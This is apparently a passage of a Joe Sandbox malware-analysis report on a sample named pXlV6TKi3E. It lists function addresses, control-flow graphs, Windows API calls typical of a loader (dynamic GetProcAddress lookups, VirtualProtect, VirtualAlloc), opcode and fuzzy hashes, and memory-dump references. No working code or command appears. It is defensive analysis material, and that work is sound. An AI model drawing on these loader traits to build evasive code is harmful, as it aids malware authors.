                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Global$CriticalSection$AllocHandleLeave$EnterWire_memset
                                              • String ID:
                                              • API String ID: 9613507-0
                                              • Opcode ID: d12ad16159ecc5c03278e67e5dc319fa7008b0734946cd267ceb9aa0bd867254
                                              • Instruction ID: 8be89f431fe91ff723b994c3dc9168b29ea7ecf9c6aeb76a1456bb1162f73893
                                              • Opcode Fuzzy Hash: d12ad16159ecc5c03278e67e5dc319fa7008b0734946cd267ceb9aa0bd867254
                                              • Instruction Fuzzy Hash: 0C31D271A00701AFDB209FA5DD49A1BBBF9FF84304B01897EE552E3690DB74E8088B58
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052FCC0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 218libraryloaderCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 784 52fcc0-52fcd1 785 52fcdc-52fcea 784->785 786 52fcf1-52fd1f 785->786 787 52fcec 785->787 789 52fd21-52fd27 786->789 790 52fd29-52fd2f 786->790 788 52ff6d-52ff73 787->788 791 52fd37-52fd55 789->791 790->791 792 52fd31-52fd34 790->792 793 52fd57-52fd67 call 5309ad 791->793 794 52fd6a-52fd6e 791->794 792->791 793->794 796 52fd70-52fd74 call 53627f 794->796 797 52fd7c-52fda0 794->797 805 52fd79 796->805 800 52fda2-52fdad 797->800 801 52fdaf-52fdba 797->801 800->801 802 52fded-52fe09 GetModuleHandleA 800->802 803 52fdbc-52fdc0 801->803 804 52fdcd-52fdd1 call 536176 801->804 809 52fe72 802->809 810 52fe0b-52fe15 802->810 806 52fdc2-52fdc6 803->806 807 52fdcb 803->807 813 52fdd6-52fddd 804->813 805->797 806->785 807->802 812 52fe79-52fe7f 809->812 814 52fe18-52fe25 810->814 815 52fe93-52fe99 812->815 813->802 816 52fddf-52fde8 call 5337cc 813->816 817 52fe27-52fe2b 814->817 818 52fe55-52fe5a 814->818 820 52ff4f-52ff60 815->820 821 52fe9f-52fea5 815->821 816->802 823 52fe4c-52fe53 817->823 824 52fe2d-52fe3c 817->824 819 52fe5d-52fe67 818->819 819->809 825 52fe69-52fe70 819->825 820->788 821->820 826 52feab-52feb9 821->826 823->819 824->818 827 52fe3e-52fe4a 824->827 825->812 828 52febb-52fec6 826->828 829 52fec8-52fed5 826->829 827->814 827->823 828->829 830 52ff26-52ff31 828->830 831 52fed7-52fef8 GetProcAddress 829->831 832 52fefa-52ff1c GetProcAddress 829->832 834 52ff33-52ff42 call 530620 830->834 835 52ff4a 830->835 831->830 832->830 833 52ff1e-52ff24 832->833 833->830 838 52ff47 834->838 835->815 838->835
                                              APIs
                                              • GetModuleHandleA.KERNEL32(00000000,?), ref: 0052FE00
                                              • GetProcAddress.KERNEL32(00000000,?), ref: 0052FEED
                                              • GetProcAddress.KERNEL32(00000000,?), ref: 0052FF0F
                                                • Part of subcall function 005337CC: wvsprintfA.USER32(0053CAD0,0053CAD0,?), ref: 005337E7
                                              Strings
                                              • EXECUTABLE, xrefs: 0052FE0B
                                              • The dynamic link library '%s' could not be found, xrefs: 0052FDE3
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AddressProc$HandleModulewvsprintf
                                              • String ID: EXECUTABLE$The dynamic link library '%s' could not be found
                                              • API String ID: 3914372562-2778238346
                                              • Opcode ID: d5b70e81ec4d56789d35403a89e9679a56bab7c01c67593ec585a03462e2d93b
                                              • Instruction ID: bf47aa267bc4fd5e0142208b91c43be936341103f6020dde1d3dc5a57fa3d30e
                                              • Opcode Fuzzy Hash: d5b70e81ec4d56789d35403a89e9679a56bab7c01c67593ec585a03462e2d93b
                                              • Instruction Fuzzy Hash: 9FA10671A002199FDF15CF98E584AADBBB2BF9A304F248169E815AB391C734AE41CB50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00530320 Relevance: 4.7, APIs: 3, Instructions: 221COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 875 530320-53034a 876 530351-530363 875->876 877 53034c 875->877 879 53036e-530372 876->879 878 53060c-53061c 877->878 880 530385-530393 call 536b64 879->880 881 530374-53037c 879->881 887 530395 880->887 888 53039a-5303d4 880->888 882 530383 881->882 883 53037e 881->883 882->879 883->878 887->878 889 5305c1-530606 call 536c81 888->889 890 5303da-5303e1 888->890 889->878 892 5303e3-5303ea 890->892 893 5303fa-530417 890->893 892->893 897 5303ec-5303f4 RaiseException 892->897 894 530497-5304da 893->894 895 530419-530420 893->895 902 5304e5-5304eb 894->902 898 53042b-530437 895->898 897->893 898->894 901 530439-530460 898->901 903 530462-530474 901->903 904 530495 901->904 902->889 905 5304f1-530512 902->905 903->904 906 530476-530483 903->906 904->898 908 530514-53052b 905->908 909 53052d 905->909 910 530493 906->910 911 530485-53048d RaiseException 906->911 908->909 912 530532-53055d call 53627f 908->912 909->889 910->894 911->910 915 530573-53057e GetModuleHandleA 912->915 916 53055f-53056b call 530320 912->916 918 530580-530591 call 536b64 915->918 919 5305bc 915->919 921 530570 916->921 918->919 924 530593 918->924 919->902 921->915 925 53059e-5305a4 924->925 925->919 926 5305a6-5305b2 call 530620 925->926 928 5305b7-5305ba 926->928 928->925
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: f6f50897a6a8d64c9e89cabac29ec109b956b5f3f35e368b5694ad0977e2e32c
                                              • Instruction ID: a4fac3e514b93cf16f348ba3511f9e6c337d7780513fc486d262813ef278af31
                                              • Opcode Fuzzy Hash: f6f50897a6a8d64c9e89cabac29ec109b956b5f3f35e368b5694ad0977e2e32c
                                              • Instruction Fuzzy Hash: 87A1F974A05209EFCF18CF88D9A1BADBBB1FF98314F249529E905AB391D730A941CF54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00536120 Relevance: 3.8, APIs: 3, Instructions: 30COMMON
                                              Download Yara Rule
                                              APIs
                                              • SetLastError.KERNEL32(0000007E,00000000,?,00536183,0052FDD6,00000000), ref: 0053612C
                                              • GetLastError.KERNEL32(00000000,?,00536183,0052FDD6,00000000), ref: 0053615B
                                              • SetLastError.KERNEL32(0000007E,?,00536183,0052FDD6,00000000), ref: 00536167
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID:
                                              • API String ID: 1452528299-0
                                              • Opcode ID: a0c5116c119bd851026ba4abd3f8cd7b7fc03269d4212b50bbfd32ffa9fe914f
                                              • Instruction ID: b2a113b7cd20c57f63e05a99e80ecc5303db568d7a506d4dc8594567a6ffbdb0
                                              • Opcode Fuzzy Hash: a0c5116c119bd851026ba4abd3f8cd7b7fc03269d4212b50bbfd32ffa9fe914f
                                              • Instruction Fuzzy Hash: B7F0DA30A01209FFDB10EFB0D90975D7FB4BF58785F10946CE846AA292D7709B84EB51
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040DC5D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3.LIBCMT ref: 0040DC64
                                                • Part of subcall function 0040D3D1: __CxxThrowException@8.LIBCMT ref: 0040D3E7
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Exception@8H_prolog3Throw
                                              • String ID: \<D
                                              • API String ID: 3670251406-2561012400
                                              • Opcode ID: 1fe462a8349d6216fd982dd2b9b6323fb19001f798cd17e475917687e739a3aa
                                              • Instruction ID: 4f0462cd65195b959775f73080f503790f78665844a4ffc4ffeb3a2e60acc4b1
                                              • Opcode Fuzzy Hash: 1fe462a8349d6216fd982dd2b9b6323fb19001f798cd17e475917687e739a3aa
                                              • Instruction Fuzzy Hash: 40017575A042069BEB25AFB68851A2A36A1AB51355F10453EE481A73D0DF78C944CB1C
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00530620 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • VirtualProtect.KERNEL32(00000000,00000004,00000004,00000000,?,00000000), ref: 00530666
                                              • VirtualProtect.KERNEL32(00000000,00000004,?,?), ref: 00530692
                                                • Part of subcall function 00533617: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,EF00000D,?,005336AD,?,?,00533639), ref: 00533627
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ProtectVirtual$ExceptionRaise
                                              • String ID:
                                              • API String ID: 2285923662-0
                                              • Opcode ID: c0e4cf524e1d3e7d6eae678adc6d9d9fc0a4b96f8c057ce66b1d01332acaa7a6
                                              • Instruction ID: d68bb155104c75672dfd5a09f34664e56cf82312597619fb9972c3809aea209a
                                              • Opcode Fuzzy Hash: c0e4cf524e1d3e7d6eae678adc6d9d9fc0a4b96f8c057ce66b1d01332acaa7a6
                                              • Instruction Fuzzy Hash: 53011E74A00208EFDF04EFA4D859BAE7BB9FB89704F108588FA059B394D7719E54CB94
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0053627F Relevance: 3.0, APIs: 2, Instructions: 20COMMON
                                              Download Yara Rule
                                              APIs
                                              • GetModuleHandleA.KERNEL32(00000000,005304A0,?,0053054E,?,00000000), ref: 0053628B
                                              • GetModuleHandleA.KERNEL32(00000000,005304A0,?,0053054E,?,00000000), ref: 00536296
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: HandleModule
                                              • String ID:
                                              • API String ID: 4139908857-0
                                              • Opcode ID: 1c9aa2c6359db683465df6f3b84076a17bb8940449a320d21be919e2a0ee71f2
                                              • Instruction ID: b83bc3e74c8f724816b6d90bc91ae3247e294686f8d13b4686f3c709d44f702e
                                              • Opcode Fuzzy Hash: 1c9aa2c6359db683465df6f3b84076a17bb8940449a320d21be919e2a0ee71f2
                                              • Instruction Fuzzy Hash: 34E0E534900208FFCB00DF64D849B9DBFB0EB50349F10C028E80567290D7719A84EB40
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 034805A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 03480625
                                              • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03480658
                                              Memory Dump Source
                                              • Source File: 00000000.00000003.468827358.0000000003480000.00000040.00001000.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_3_3480000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Virtual$AllocFree
                                              • String ID:
                                              • API String ID: 2087232378-0
                                              • Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
                                              • Instruction ID: 3148430629e22f778bd3a58bcf2741d5739e554480ff7ed38222370155364261
                                              • Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
                                              • Instruction Fuzzy Hash: A7213875A11219BFDB00DFA4CC40BEEFBF5EB54294F108163E910AA280E7708A559B54
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004063B2 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_catch.LIBCMT ref: 004063B9
                                                • Part of subcall function 004016F8: _malloc.LIBCMT ref: 00401716
                                                • Part of subcall function 0040D742: LocalAlloc.KERNEL32(00000040,33D2A76B,?,0040DB89,00000010,?,?,00000000,?,00000004,00406561,00404E8B,00401DB8,?,00401FC0,00000000), ref: 0040D74C
                                                • Part of subcall function 004060A4: __EH_prolog3.LIBCMT ref: 004060AB
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AllocH_prolog3H_prolog3_catchLocal_malloc
                                              • String ID:
                                              • API String ID: 1104862767-0
                                              • Opcode ID: f08f9fbd4081e44223542108ae9f3752d1fe03482788a4dd9fed598403ae5780
                                              • Instruction ID: 3e747343131d85f9ba483276e2d6979e1f28f5b6091ba44e19df49c5b35e41ef
                                              • Opcode Fuzzy Hash: f08f9fbd4081e44223542108ae9f3752d1fe03482788a4dd9fed598403ae5780
                                              • Instruction Fuzzy Hash: D7316DB0901B40DEDB61DF6A814025AFAF0BF94304F208A6FD1DB97791C7B99644DB19
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00402114 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: _memcpy_s
                                              • String ID:
                                              • API String ID: 2001391462-0
                                              • Opcode ID: 252fdf46815f7474cd7882b6c13f97b35f0b06824afc20d9eddcbcf0d5ef93ec
                                              • Instruction ID: 26dae79c07e93898792e3f5722cd95231bcd72ff2fc67e69eb6da8e0fed42b96
                                              • Opcode Fuzzy Hash: 252fdf46815f7474cd7882b6c13f97b35f0b06824afc20d9eddcbcf0d5ef93ec
                                              • Instruction Fuzzy Hash: A7017172600204BFDB04DF69C885CAAB7B9FF89354710456EF5159B351DB75ED00CBA4
